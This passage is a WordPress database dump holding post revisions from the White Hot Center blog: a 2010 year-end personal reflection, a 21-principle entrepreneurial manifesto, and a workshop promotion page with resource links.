(1346, 2, '2010-12-17 15:11:47', '2010-12-17 22:11:47', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-15', '', '', '2010-12-17 15:11:47', '2010-12-17 22:11:47', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-15/', 0, 'revision', '', 0),
(1347, 2, '2010-12-27 15:44:17', '2010-12-27 22:44:17', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="450" height="225" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-autosave', '', '', '2010-12-27 15:44:17', '2010-12-27 22:44:17', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-autosave/', 0, 'revision', '', 0),
(1348, 1, '2010-12-24 02:45:53', '2010-12-24 09:45:53', '', 'wh-powerart1', 0, '', 'inherit', 'open', 'open', '', 'wh-powerart1', '', '', '2010-12-24 02:45:53', '2010-12-24 09:45:53', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/wh-powerart1.png', 0, 'attachment', 'image/png', 0),
(1349, 2, '2010-03-11 12:03:03', '2010-03-11 19:03:03', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2010-03-11 12:03:03', '2010-03-11 19:03:03', '', 136, 'http://www.whitehotcenter.com/2010/03/11/136-revision-37/', 0, 'revision', '', 0),
(1353, 1, '2010-12-27 14:34:29', '2010-12-27 21:34:29', '', 'news-events-sidebar', 0, '', 'inherit', 'open', 'open', '', 'news-events-sidebar', '', '', '2010-12-27 14:34:29', '2010-12-27 21:34:29', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/news-events-sidebar.jpg', 0, 'attachment', 'image/jpeg', 0),
(1354, 2, '2010-11-19 16:33:34', '2010-11-19 23:33:34', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><a href="http://www.whcquantumleap.com" target="_blank"><strong>Early Registration is open!</strong></a></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-11-19 16:33:34', '2010-11-19 23:33:34', '', 145, 'http://www.whitehotcenter.com/2010/11/19/145-revision-69/', 0, 'revision', '', 0),
(1355, 1, '2010-12-27 14:37:10', '2010-12-27 21:37:10', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><a href="http://www.whcquantumleap.com" target="_blank"><strong>Early Registration is open!</strong></a></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="485" height="485" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-12-27 14:37:10', '2010-12-27 21:37:10', '', 145, 'http://www.whitehotcenter.com/2010/12/27/145-revision-70/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1357, 2, '2010-12-17 15:18:22', '2010-12-17 22:18:22', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the 